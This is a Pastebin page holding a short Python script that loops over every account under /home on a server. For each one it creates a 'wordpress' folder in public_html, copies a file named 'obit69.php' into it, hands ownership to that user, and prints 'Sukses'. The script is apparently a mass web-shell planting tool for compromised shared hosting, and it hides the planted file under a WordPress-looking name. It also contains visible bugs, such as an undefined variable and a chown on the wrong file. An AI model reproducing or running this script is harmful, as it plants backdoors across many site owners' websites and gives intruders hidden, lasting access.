Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #./Xi4u7
- import os
- from shutil import copyfile
- newfolder = "wordpress"
- for path in os.listdir("/home"):
- try:
- if os.path.isdir("/home/"+path):
- pwd = "/home/"+path+"/public_html"
- os.mkdir(pwd+"/"+wordpress)
- newpwd = pwd+"/"+wordpress
- os.system("chown "+path+":"+path+" "+newpwd)
- if os.path.isdir(newpwd):
- copyfile("obit69.php", newpwd+"/obit69.php")
- os.system("chown "+path+":"+path+" "+newpwd+"/wp.php")
- if os.path.isfile(newpwd+"/obit69.php"):
- print("Sukses - "+newpwd+"/obit69.php")
- except Exception as err:
- print(err)
- continue
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement